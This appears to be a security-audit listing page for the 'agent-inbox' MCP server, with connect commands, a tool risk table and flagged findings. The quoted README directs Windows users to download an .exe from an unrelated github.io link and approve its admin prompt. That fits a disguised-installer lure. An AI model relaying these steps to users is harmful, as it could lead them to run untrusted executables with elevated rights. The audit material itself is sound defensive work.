agent-inboxCAUTION
Store links and content in a central queue for your AI agents to process via a vendor-neutral REST API. Deployable on Cloudflare Workers.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://peopleupperpeninsula500.github.io)
Agent-inbox acts as a central hub for your AI agents. It collects the links and articles you find across the web. You send items from your browser or mobile phone. Your chosen AI, such as Claude or ChatGPT, reads the content and provides an analysis or suggested tasks. It functions as a reading list for your digital assistant.
⚙️ How it Works
The system bridges the gap between your web browsing and your AI tools. You save a link to the inbox. The inbox stores the page content. You then connect an MCP client or browser plugin to read the data. This setup allows you to process information while you move through your day. You maintain control over your data since you host the service yourself.
🚀 Setting Up the Application
You do not need programming skills to run this tool on your Windows computer. Follow these steps to prepare your environment.
1. Download the Installer
Visit the official repository page to get the latest version of the software.
- Click the link above to open the releases page in your browser.
- Look for the section labeled Assets.
- Find the file ending in .exe for Windows.
- Click the filename to start the download.
2. Install the Software
- Locate the downloaded file in your Downloads folder.
- Double-click the file to begin the installation.
- Windows might show a prompt asking if you want to allow the app to make changes. Click Yes.
- Follow the setup wizard prompts. Click Next until the installation finishes.
- Click Close to exit the wizard.
3. Run the Application
- Find the new shortcut on your desktop or in your Start menu.
- Double-click the icon to launch the application.
- A command window or a local browser tab will open. This indicates the inbox is active.
- Leave this
a055136e752eOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add agent-inbox --env INBOX_KEY=${INBOX_KEY} -- npx -y [email protected]{
"mcpServers": {
"agent-inbox": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"INBOX_KEY": "${INBOX_KEY}"
}
}
}
}Exposed tools (5)
2 read · 2 write · 1 destructive. Blast radius: 1 tool can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
Inbox | write | Send links to your AI agent to look at later. |
add_item | write | Save a link or a piece of text to the inbox for later review. |
delete_item | destructive | Remove an item from the inbox entirely, without reviewing it. |
list_pending | read | List everything the user saved to their Agent Inbox that has not been reviewed yet. Call this first. If an item has a note, that note is the user |
mark_reviewed | read | Mark inbox items as reviewed, each with a one-line verdict. Only call this after actually reporting your findings to the user. The verdict is shown on their phone, so keep it under about 120 characters and make it useful on its own. |
Trust audit
CAUTIONgrade B · trust 87/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (6 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (8)
inbox_agent_3.8.zip
"amber anchor badger basil beacon birch bison bramble cactus canyon cedar cinder clover cobalt comet copper coral cove crimson cypress delta dune ember falcon fern flint forge fossil garnet glacier gr
export const I192 = "iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAYAAABS3GwHAAADJ0lEQVR42u3d3XHiQBCFUc2UYzEh4UxwCCYTExJOBj/5yeXiR7LQ9D0ngkX0px4Vu9o2bcz5sL9MlLU7ntqW/jzNsJMcRTP0JMfQDD7JITSDT3IIzeCTHEIz+CSH0A0/I1l
export const I512 = "iVBORw0KGgoAAAANSUhEUgAAAgAAAAIACAYAAAD0eNT6AAAK2klEQVR42u3c4W3qShSF0XiUWkhJphNTAumElGSa8f2FFEUh4YKJZ2av1cALc22fzwf0hheqNE/j4hSAHry9fwxOoT7+UQx4AIEgADDsAUSBAMDABxAEAgADH0AQCABDHwA
export const IMASK = "iVBORw0KGgoAAAANSUhEUgAAAgAAAAIACAYAAAD0eNT6AAAIJUlEQVR42u3awY2FIBRA0WFiLbSEnUAJlEJL2Ayz+XtjMonAP6cEfMKVGHpO4wcA+Cq/lgAABAAAIAAAAAEAAAgAAEAAAAACAAAQAACAAAAABAAAIAAAAAEAAAgAAEAAAA
delete_item
const bin = atob(b64);
wrangler
Gates applied: no_behavioural_pass.
a055136e752efull audit observations/trust-audit/mcp-server/peopleupperpeninsula500__agent-inbox.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | a055136e752e | CAUTION | B | 87 | first audit |
Questions
What is the agent-inbox MCP server?
Store links and content in a central queue for your AI agents to process via a vendor-neutral REST API. Deployable on Cloudflare Workers.
What tools does agent-inbox expose?
5 in total: 2 read-only, 2 that write, and 1 that can delete or overwrite (delete_item). Every one is listed on this page with its risk.
Is agent-inbox safe to connect to an agent?
With care. The audit graded it B (87/100) and found 8 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 1 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does agent-inbox need?
It reads INBOX_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How current is this page?
The grade is for one exact copy of the source (a055136e752e), read on 2026-10-11. The repository is watched and re-audited when it changes.